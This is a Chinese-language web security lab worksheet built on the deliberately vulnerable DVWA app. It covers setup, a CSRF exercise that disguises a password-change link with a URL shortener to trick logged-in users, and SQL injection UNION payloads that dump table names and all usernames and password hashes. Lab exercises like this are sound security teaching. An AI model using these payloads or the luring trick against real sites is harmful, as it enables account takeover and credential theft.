实训准备及注意事项
1.硬件:装有Windows操作系统的计算机1台。
2.软件:中国菜刀、phpStudy、DVWA。
3.严格按照实验步骤进行实验,实验结果以截图的形式进行保留。
实训背景知识
DVWA(Damn Vulnerable Web Application)是randomstorm的一个开源项目。一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是:
1.Brute Force(密码破解)
2.Command Injection(命令行注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA (不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站脚本)
10.XSS(Stored)(存储型跨站脚本)
实训1,该死的易受攻击的网站部署
1.运行phpstudy服务器,确保阿帕奇和mysql正常启动,然后将DVWA解压到phpstudy的www文件夹下,在浏览器中打开DVWA网站,修改DVWA网站安全级别为LOW。
实训2, 跨站请求伪造
打开CSRF界面,可在New password和Confirm new password处正常修改登录口令。构造一个链接: http://IP/DVWA/vulnerabilities/csrf/password_new=123&password_conf=123&Change=Change# (注意IP地址改为网站实际地址) 利用在线短链接生成器(https://www.985.so/)伪造该链接。诱骗其它已登录该网站的用户点击该链接,通过伪造身份提交密码修改,直接跳转到修改密码成功的页面,成功把密码修改为123
实训3,SQL注入
打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。输入1提交,将正常返回查询结果。输入1’提交,将返回一个错误。输入1' union select 1,database()#提交,得到数据库名称。
输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#,得到数据库中的表名。
输入1' union select 1,column_name from information_schema.columns where table_name='users'#,得到users表的列名。
输入1' union select 1,concat(user,password) from users#,得到users表的所有用户名和密码
破解查询到所有密码,得到该数据库中所有口令的明文:
美好的一天结束了!